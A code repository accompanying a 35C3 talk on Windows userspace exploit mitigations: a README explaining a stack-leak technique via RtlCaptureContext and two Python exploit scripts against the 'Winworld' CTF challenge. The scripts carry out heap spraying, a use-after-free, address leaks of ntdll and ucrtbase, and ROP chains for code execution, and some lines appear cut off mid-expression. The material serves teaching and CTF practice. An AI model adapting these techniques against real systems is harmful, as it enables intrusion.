├── README.md ├── images ├── RtlCaptureContext.PNG └── final.PNG ├── rs5_exploit.py └── th1_exploit.py /README.md: -------------------------------------------------------------------------------- 1 | # 35C3 Modern Windows Userspace Exploitation 2 | 3 | At 35C3 I gave a talk named [“Modern Windows Userspace Exploitation”](https://www.youtube.com/watch?v=kg0J8nRIAhk), that covered the main exploit mitigations in Windows. The point of the talk was to introduce and evaluate the different mitigations that impact memory safety issues, and examine what kind of primitives an exploit developer would need in order to bypass them (since it’s quite a non-trivial process). Since I feel that the best way in order to do this is by example, I used a CTF challenge as a target, and exploited it on Windows 7, Windows 10 TH1 and Windows 10 RS5. The exploits target the great “Winworld” CTF challenge, from Insomnihack CTF Teaser 2017, written by [@awe](https://twitter.com/__awe/) (thanks for writing this!). For a full explanation of what’s going on in this repo, I recommend watching the talk. The exploits in this repo are based on awe's [repo](https://github.com/Insomnihack/Teaser-2017/tree/master/winworld), that had a full exploit for this challenge. There are a couple of key differences between them, though: first, I tried to aim for the simplest exploit for every one of the versions and mitigations I covered in the presentation. The original challenge ran on Windows 10 _pre_ build 16179, compiled with CFG and without ACG, CIG and Child Process Restriction. Second, I used a completely different technique to leak the stack address. While I explained how I gained arbitrary RW and jump primitives in the talk, I didn’t explain this trick, so I will explain it below. 4 | 5 | In his exploit, @awe chose to scan the heap memory, hoping to find random stack pointers there. It is a well known technique (for example, see [@j00ru](https://twitter.com/j00ru)’s [post](https://j00ru.vexillium.org/2016/07/disclosing-stack-data-from-the-default-heap-on-windows/)). It works great for CTFs but it does reduce the reliably of the exploit: in my experiments it worked once every ~X times . To improve reliability, I used a more deterministic technique, by calling _ntdll!RtlCaptureContext_. The function looks like this: 6 | ![](https://github.com/saaramar/35C3_Modern_Windows_Userspace_Exploitation/blob/master/images/RtlCaptureContext.PNG "") 7 | 8 | I’m not the first one to use this function to leak the stack ([here](https://github.com/niklasb/35c3ctf-challs/blob/master/pwndb/exploit/stage2.py), for instance). It gets as its first argument a pointer to a ContextRecord structure and writes there the current value of all registers. One of them is _rsp_, so by calling this function and reading the value it wrote, the exploit can retrieve the stack address. 9 | 10 | For a full explanation of the arbitrary RW and jump primitives, see talk [video](https://www.youtube.com/watch?v=kg0J8nRIAhk), [slides](https://github.com/saaramar/Publications/blob/master/35C3_Windows_Mitigations/Modern%20Windows%20Userspace%20Exploitation.pdf), and @awe mentioned them in his writeup as well. 11 | 12 | One problem that causes instability of the exploits is that calling _ntdll!RtlCaptureContext_ on a Person object actually corrupts the heap metadata, because sizeof(Person) < sizeof(ContextRecord). When the exploit changes the _onEncounter_ function pointer, it simply sprays more std::strings of commandlines. This “spraying” is dangerous, since commandline is freed immediately after. Put simply, the exploit allocates and frees many chunks, and due to the randomization in the LFH, it writes data on many different chunks in the userblocks. That’s great for setting the uninitialized values in the freed Person instance, but with some low probability, it might hit a corrupted chunk and crash on free(). 13 | The solution for that is to leak the address of some *other* person instance in memory, and use my arbitrary write to corrupt his _onEncounter_ function pointer to points to _ucrtbase!gets_, and use it as generic reader/writer. And then we can read the stack pointer relatively to our corrupted person (which we have), with our arbitrary read, without spraying any other std::string. 14 | Note that the offsets in the exploits depend on the specific builds I used. Other builds may require different offsets relative to ntdll.dll and ucrtbase.dll base. 15 | 16 | ![](https://github.com/saaramar/35C3_Modern_Windows_Userspace_Exploitation/blob/master/images/final.PNG "") -------------------------------------------------------------------------------- /images/RtlCaptureContext.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/35C3_Modern_Windows_Userspace_Exploitation/5253493f6422ca216667669ec104496c2961480d/images/RtlCaptureContext.PNG -------------------------------------------------------------------------------- /images/final.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saaramar/35C3_Modern_Windows_Userspace_Exploitation/5253493f6422ca216667669ec104496c2961480d/images/final.PNG -------------------------------------------------------------------------------- /rs5_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | 4 | import sys 5 | import time 6 | import ctypes 7 | import socket 8 | import struct 9 | import hexdump 10 | import telnetlib 11 | from ctypes.util import find_library 12 | from time import sleep 13 | 14 | # for pathfinding 15 | import numpy 16 | from heapq import * 17 | 18 | PORT = 1337 19 | LFH_spray_count = 0x400 20 | MAX_ROWS = 60 21 | MAX_COLS = 150 22 | 23 | # leak constants 24 | vtable_vector_offset = 0x17158 25 | iat_strtol_offset = 0x162e8 26 | iat_LdrpValidateUserCallTarget_offset = 0x164c8 27 | strtol_offset = 0x13860 28 | LdrpValidateUserCallTargetOffset = 0x93040 29 | stack_main_offset = -0x290 30 | 31 | # functions offsets 32 | GETS_OFFSET = 0x72ce0 33 | OPEN_OFFSET = 0xa3030 34 | READ_OFFSET = 0x16a70 35 | PUTS_OFFSET = 0x80e10 36 | 37 | def get_s(host): 38 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 39 | s.connect((host, PORT)) 40 | return s 41 | 42 | def rop(gadgets): 43 | return ''.join(struct.pack("= gscore.get(neighbor, 0): 86 | continue 87 | 88 | if tentative_g_score < gscore.get(neighbor, 0) or neighbor not in [i[1]for i in oheap]: 89 | came_from[neighbor] = current 90 | gscore[neighbor] = tentative_g_score 91 | fscore[neighbor] = tentative_g_score + heuristic(neighbor, goal) 92 | heappush(oheap, (fscore[neighbor], neighbor)) 93 | 94 | return False 95 | 96 | def get_directions(array, start, end): 97 | directions = astar(array, start, end)[::-1] 98 | res = "" 99 | cur_x, cur_y = start 100 | for (x, y) in directions: 101 | if x > cur_x: 102 | res += "d" 103 | elif x < cur_x: 104 | res += "u" 105 | elif y > cur_y: 106 | res += "r" 107 | else: 108 | res += "l" 109 | cur_x, cur_y = x, y 110 | 111 | return res, directions 112 | 113 | def send(s, text): 114 | s.sendall(text) 115 | 116 | def read(s, length): 117 | return s.recv(length) 118 | 119 | def readlen(s, length): 120 | return ''.join(read(s, 1) for _ in range(length)) 121 | 122 | def sendline(s, text): 123 | send(s, text + "\n") 124 | 125 | def readuntil(s, stop): 126 | res = '' 127 | 128 | while not res.endswith(stop): 129 | c = read(s, 1) 130 | 131 | if c == '': 132 | break 133 | res += c 134 | return res 135 | 136 | def interact(s): 137 | tn = telnetlib.Telnet() 138 | tn.sock = s 139 | tn.interact() 140 | s.close() 141 | sys.exit(0) 142 | 143 | def readall(s): 144 | out = '' 145 | while True: 146 | c = read(s, 1) 147 | 148 | if c == '': 149 | break 150 | out += c 151 | sys.stdout.write(c) 152 | sys.stdout.flush() 153 | return out 154 | 155 | def enable_LFH(s, obj_size=0x90): 156 | print('[+] Make sure that LFH is enabled for bucket of sizeof(Person)') 157 | for i in range(6): 158 | sendline(s, "new guest male plz_enable_lfh_" + str(i)) 159 | 160 | def spray_data(s, obj_size=0x90): 161 | print('[+] Spray 0x%x std::string, forcing initialization of pwnrobot->is_conscious' % LFH_spray_count) 162 | for i in range(LFH_spray_count): 163 | print "\r0x%x / 0x%x ..." % (i + 1, LFH_spray_count), 164 | sendline(s, "C" * obj_size) 165 | print 166 | 167 | class ExploitWinworld(object): 168 | def __init__(self): 169 | self.binary_base = 0x0 170 | self.ucrtbase_base = 0x0 171 | self.ntdll_base = 0x0 172 | 173 | self.gets_addr = 0x0 174 | self.libc = None 175 | self.array = [] 176 | self.park_map = [] 177 | self.nmap = None 178 | self.maze_x = 0 179 | self.maze_y = 0 180 | self.day = 1 181 | 182 | def initialize(self): 183 | self.park_map = [] 184 | self.nmap = None 185 | self.maze_x = 0 186 | self.maze_y = 0 187 | self.day = 1 188 | 189 | def find_maze_center(self): 190 | for row in range(MAX_ROWS): 191 | self.park_map.append([0] * MAX_COLS) 192 | 193 | obstacles = ((MAX_ROWS * MAX_COLS) / 5) + (self.rand() % MAX_COLS) 194 | 195 | while obstacles: 196 | pos_x = self.rand() % MAX_ROWS 197 | pos_y = self.rand() % MAX_COLS 198 | 199 | if self.park_map[pos_x][pos_y]: 200 | continue 201 | 202 | self.park_map[pos_x][pos_y] = 1 203 | obstacles -= 1 204 | 205 | if obstacles == 0: 206 | break 207 | 208 | nearby_obstacles = (self.rand() % 30) % obstacles 209 | 210 | while (nearby_obstacles): 211 | direction = self.rand() % 4 212 | pos_a = pos_x 213 | pos_b = pos_y 214 | 215 | if direction == 0: 216 | pos_a -= 1 217 | elif direction == 1: 218 | pos_a += 1 219 | elif direction == 2: 220 | pos_b -= 1 221 | else: 222 | pos_b += 1 223 | 224 | if pos_a < 0 or pos_a >= MAX_ROWS or pos_b < 0 or pos_b >= MAX_COLS: 225 | continue 226 | 227 | pos_x = pos_a 228 | pos_y = pos_b 229 | 230 | if self.park_map[pos_x][pos_y]: 231 | continue 232 | 233 | self.park_map[pos_x][pos_y] = 1 234 | nearby_obstacles -= 1 235 | obstacles -= 1 236 | 237 | while True: 238 | self.maze_x = self.rand() % MAX_ROWS 239 | self.maze_y = self.rand() % MAX_COLS 240 | 241 | if self.park_map[self.maze_x][self.maze_y] == 0: 242 | break 243 | 244 | def rand(self): 245 | return self.libc.rand() 246 | 247 | def craft_person(self, func_ptr, leak_addr, size): 248 | payload = struct.pack(" {}...'.format(start, self.end)) 363 | 364 | self.array[start[0]][start[1]] = 0 365 | moves, directions_guest = get_directions(self.nmap, start, self.end) 366 | 367 | sendline(s, "move g0 " + moves) 368 | 369 | # put the pwn host on the maze center 370 | 371 | sendline(s, "info h7") 372 | 373 | readuntil(s, "Position: (") 374 | data = readuntil(s, ")").split(")")[0].split(", ") 375 | start = (int(data[0]), int(data[1])) 376 | 377 | print('[+] Moving our host to the maze center {} -> {}...'.format(start, self.end)) 378 | 379 | self.array[start[0]][start[1]] = 0 380 | moves, directions_host = get_directions(self.nmap, start, self.end) 381 | 382 | sendline(s, "move h7 " + moves) 383 | 384 | print('[+] pwnrobot should now be a human... kill him!') 385 | 386 | for i in range(10): 387 | sendline(s, "move g0 lr") 388 | 389 | readuntil(s, "pwnrobot met a tragic death") 390 | 391 | sendline(s, 'fail') 392 | readuntil(s, "fail") 393 | 394 | print('[+] Removing all pwnrobot\'s friends --> decrement its refcount to 0 --> free()') 395 | 396 | for i in range(7): 397 | sendline(s, "friend remove g%d h%d" % (pwnrobot_gid, i)) 398 | 399 | sendline(s, "info g3") 400 | 401 | sendline(s, "next_day") 402 | self.day += 1 403 | readuntil(s, "narrator [day 2]$") 404 | 405 | def get_empty_point(self): 406 | for i in xrange(1, MAX_ROWS): 407 | for j in xrange(1, MAX_COLS): 408 | if self.array[i][j] == 0: 409 | return(i,j) 410 | assert False 411 | 412 | def prepare_uaf(self, s, add_guest=0x0): 413 | self.initialize() 414 | self.build_map(s) 415 | self.create_dangling_person_ptr(s, add_guest) 416 | 417 | def leak_base_addr(self, s, obj_size=0x90): 418 | '''for i in range(0xf0): 419 | print "\r0x%x / 0x%x ..." % (i + 1, 0xf0), 420 | sendline(s, "D" * obj_size) 421 | print''' 422 | 423 | print("[+] spray std::vectors to catch freed person, read pointer to main binary .rdata") 424 | #for i in range(8 * 2): 425 | for i in range(LFH_spray_count): 426 | print "\r0x%x / 0x%x ..." % (i + 1, LFH_spray_count), 427 | for j in range(7): 428 | sendline(s, "friend add g%d g%d" % (3 + i, 8 + 3 + j)) 429 | print 430 | 431 | print("[+] sync...") 432 | sleep(8) 433 | 434 | print('[+] Trigger leak') 435 | sendline(s, "info h7") 436 | readuntil(s, "Name: ") 437 | 438 | leak = readlen(s, 8) 439 | binleak = struct.unpack(" 1: 601 | host = sys.argv[1] 602 | 603 | exploiter = ExploitWinworld() 604 | print("-------------------- Phase0 - leak the main binary base addr --------------------") 605 | s = get_s(host) 606 | exploiter.prepare_uaf(s, add_guest=LFH_spray_count) 607 | exploiter.leak_base_addr(s) 608 | s.close() 609 | 610 | sleep(1) 611 | s = get_s(host) 612 | 613 | print("-------------------- Phase1 - leak ucrtbase.dll base addr --------------------") 614 | exploiter.prepare_uaf(s) 615 | exploiter.leak_ucrtbase(s) 616 | exploiter.gets_addr = exploiter.ucrtbase_base + GETS_OFFSET 617 | 618 | print("-------------------- Phase2 - leak ntdll.dll base addr --------------------") 619 | exploiter.leak_ntdll(s) 620 | 621 | print("-------------------- Phase3 - Execute code --------------------") 622 | exploiter.leak_stack(s) 623 | exploiter.do_rop(s) 624 | 625 | print("") 626 | print('[+] Done') 627 | s.close() -------------------------------------------------------------------------------- /th1_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | 4 | import sys 5 | import time 6 | import ctypes 7 | import socket 8 | import struct 9 | import hexdump 10 | import telnetlib 11 | from ctypes.util import find_library 12 | from time import sleep 13 | 14 | # for pathfinding 15 | import numpy 16 | from heapq import * 17 | 18 | PORT = 1337 19 | LFH_spray_count = 0x100 20 | MAX_ROWS = 60 21 | MAX_COLS = 150 22 | 23 | # leak constants 24 | vtable_vector_offset = 0x17158 25 | iat_strtol_offset = 0x162e8 26 | iat_LdrpValidateUserCallTarget_offset = 0x164c8 27 | strtol_offset = 0x54900 28 | LdrpValidateUserCallTargetOffset = 0x83700 29 | stack_main_offset = -0x290 30 | 31 | # functions offsets 32 | GETS_OFFSET = 0x6bbd0 33 | SYSTEM_OFFSET = 0xa2f4c 34 | 35 | def get_s(host): 36 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 37 | s.connect((host, PORT)) 38 | return s 39 | 40 | def rop(gadgets): 41 | return ''.join(struct.pack("= gscore.get(neighbor, 0): 84 | continue 85 | 86 | if tentative_g_score < gscore.get(neighbor, 0) or neighbor not in [i[1]for i in oheap]: 87 | came_from[neighbor] = current 88 | gscore[neighbor] = tentative_g_score 89 | fscore[neighbor] = tentative_g_score + heuristic(neighbor, goal) 90 | heappush(oheap, (fscore[neighbor], neighbor)) 91 | 92 | return False 93 | 94 | def get_directions(array, start, end): 95 | directions = astar(array, start, end)[::-1] 96 | res = "" 97 | cur_x, cur_y = start 98 | for (x, y) in directions: 99 | if x > cur_x: 100 | res += "d" 101 | elif x < cur_x: 102 | res += "u" 103 | elif y > cur_y: 104 | res += "r" 105 | else: 106 | res += "l" 107 | cur_x, cur_y = x, y 108 | 109 | return res, directions 110 | 111 | def send(s, text): 112 | s.sendall(text) 113 | 114 | def read(s, length): 115 | return s.recv(length) 116 | 117 | def readlen(s, length): 118 | return ''.join(read(s, 1) for _ in range(length)) 119 | 120 | def sendline(s, text): 121 | send(s, text + "\n") 122 | 123 | def readuntil(s, stop): 124 | res = '' 125 | 126 | while not res.endswith(stop): 127 | c = read(s, 1) 128 | 129 | if c == '': 130 | break 131 | res += c 132 | return res 133 | 134 | def interact(s): 135 | tn = telnetlib.Telnet() 136 | tn.sock = s 137 | tn.interact() 138 | s.close() 139 | sys.exit(0) 140 | 141 | def readall(s): 142 | out = '' 143 | while True: 144 | c = read(s, 1) 145 | 146 | if c == '': 147 | break 148 | out += c 149 | sys.stdout.write(c) 150 | sys.stdout.flush() 151 | return out 152 | 153 | def enable_LFH(s, obj_size=0x90): 154 | print('[+] Make sure that LFH is enabled for bucket of sizeof(Person)') 155 | for i in range(6): 156 | sendline(s, "new guest male plz_enable_lfh_" + str(i)) 157 | 158 | def spray_data(s, obj_size=0x90): 159 | print('[+] Spray 0x%x std::string, forcing initialization of pwnrobot->is_conscious' % LFH_spray_count) 160 | for i in range(LFH_spray_count): 161 | print "\r0x%x / 0x%x ..." % (i + 1, LFH_spray_count), 162 | sendline(s, "C" * obj_size) 163 | print 164 | 165 | class ExploitWinworld(object): 166 | def __init__(self): 167 | self.binary_base = 0x0 168 | self.ucrtbase_base = 0x0 169 | self.ntdll_base = 0x0 170 | 171 | self.gets_addr = 0x0 172 | self.libc = None 173 | self.array = [] 174 | self.park_map = [] 175 | self.nmap = None 176 | self.maze_x = 0 177 | self.maze_y = 0 178 | self.day = 1 179 | 180 | def initialize(self): 181 | self.park_map = [] 182 | self.nmap = None 183 | self.maze_x = 0 184 | self.maze_y = 0 185 | self.day = 1 186 | 187 | def find_maze_center(self): 188 | for row in range(MAX_ROWS): 189 | self.park_map.append([0] * MAX_COLS) 190 | 191 | obstacles = ((MAX_ROWS * MAX_COLS) / 5) + (self.rand() % MAX_COLS) 192 | 193 | while obstacles: 194 | pos_x = self.rand() % MAX_ROWS 195 | pos_y = self.rand() % MAX_COLS 196 | 197 | if self.park_map[pos_x][pos_y]: 198 | continue 199 | 200 | self.park_map[pos_x][pos_y] = 1 201 | obstacles -= 1 202 | 203 | if obstacles == 0: 204 | break 205 | 206 | nearby_obstacles = (self.rand() % 30) % obstacles 207 | 208 | while (nearby_obstacles): 209 | direction = self.rand() % 4 210 | pos_a = pos_x 211 | pos_b = pos_y 212 | 213 | if direction == 0: 214 | pos_a -= 1 215 | elif direction == 1: 216 | pos_a += 1 217 | elif direction == 2: 218 | pos_b -= 1 219 | else: 220 | pos_b += 1 221 | 222 | if pos_a < 0 or pos_a >= MAX_ROWS or pos_b < 0 or pos_b >= MAX_COLS: 223 | continue 224 | 225 | pos_x = pos_a 226 | pos_y = pos_b 227 | 228 | if self.park_map[pos_x][pos_y]: 229 | continue 230 | 231 | self.park_map[pos_x][pos_y] = 1 232 | nearby_obstacles -= 1 233 | obstacles -= 1 234 | 235 | while True: 236 | self.maze_x = self.rand() % MAX_ROWS 237 | self.maze_y = self.rand() % MAX_COLS 238 | 239 | if self.park_map[self.maze_x][self.maze_y] == 0: 240 | break 241 | 242 | def rand(self): 243 | return self.libc.rand() 244 | 245 | def craft_person(self, func_ptr, leak_addr, size): 246 | payload = struct.pack(" {}...'.format(start, self.end)) 361 | 362 | self.array[start[0]][start[1]] = 0 363 | moves, directions_guest = get_directions(self.nmap, start, self.end) 364 | 365 | sendline(s, "move g0 " + moves) 366 | 367 | # put the pwn host on the maze center 368 | 369 | sendline(s, "info h7") 370 | 371 | readuntil(s, "Position: (") 372 | data = readuntil(s, ")").split(")")[0].split(", ") 373 | start = (int(data[0]), int(data[1])) 374 | 375 | print('[+] Moving our host to the maze center {} -> {}...'.format(start, self.end)) 376 | 377 | self.array[start[0]][start[1]] = 0 378 | moves, directions_host = get_directions(self.nmap, start, self.end) 379 | 380 | sendline(s, "move h7 " + moves) 381 | 382 | print('[+] pwnrobot should now be a human... kill him!') 383 | 384 | for i in range(10): 385 | sendline(s, "move g0 lr") 386 | 387 | readuntil(s, "pwnrobot met a tragic death") 388 | 389 | sendline(s, 'fail') 390 | readuntil(s, "fail") 391 | 392 | print('[+] Removing all pwnrobot\'s friends --> decrement its refcount to 0 --> free()') 393 | 394 | for i in range(7): 395 | sendline(s, "friend remove g%d h%d" % (pwnrobot_gid, i)) 396 | 397 | sendline(s, "info g3") 398 | 399 | sendline(s, "next_day") 400 | self.day += 1 401 | readuntil(s, "narrator [day 2]$") 402 | 403 | def get_empty_point(self): 404 | for i in xrange(1, MAX_ROWS): 405 | for j in xrange(1, MAX_COLS): 406 | if self.array[i][j] == 0: 407 | return(i,j) 408 | assert False 409 | 410 | def prepare_uaf(self, s): 411 | self.initialize() 412 | self.build_map(s) 413 | self.create_dangling_person_ptr(s) 414 | 415 | def leak_base_addr(self, s, obj_size=0x90): 416 | for i in range(0xf0): 417 | print "\r%d / %d ..." % (i + 1, 0xf0), 418 | sendline(s, "D" * obj_size) 419 | print 420 | 421 | print("[+] spray std::vectors to catch freed person, read pointer to main binary .rdata") 422 | for i in range(8 * 2): 423 | for j in range(7): 424 | sendline(s, "friend add g%d g%d" % (3 + i, 8 + 3 + j)) 425 | 426 | print('[+] Trigger leak') 427 | 428 | sendline(s, "info h7") 429 | readuntil(s, "Name: ") 430 | 431 | leak = readlen(s, 8) 432 | binleak = struct.unpack(" 1: 557 | host = sys.argv[1] 558 | 559 | exploiter = ExploitWinworld() 560 | print("-------------------- Phase0 - leak the main binary base addr --------------------") 561 | s = get_s(host) 562 | exploiter.prepare_uaf(s) 563 | exploiter.leak_base_addr(s) 564 | s.close() 565 | 566 | sleep(1) 567 | s = get_s(host) 568 | 569 | print("-------------------- Phase1 - leak ucrtbase.dll base addr --------------------") 570 | exploiter.prepare_uaf(s) 571 | exploiter.leak_ucrtbase(s) 572 | exploiter.gets_addr = exploiter.ucrtbase_base + GETS_OFFSET 573 | 574 | print("-------------------- Phase2 - leak ntdll.dll base addr --------------------") 575 | exploiter.leak_ntdll(s) 576 | 577 | print("-------------------- Phase3 - Execute code --------------------") 578 | exploiter.leak_stack(s) 579 | exploiter.do_rop(s) 580 | 581 | print("") 582 | print('[+] Done') 583 | s.close() --------------------------------------------------------------------------------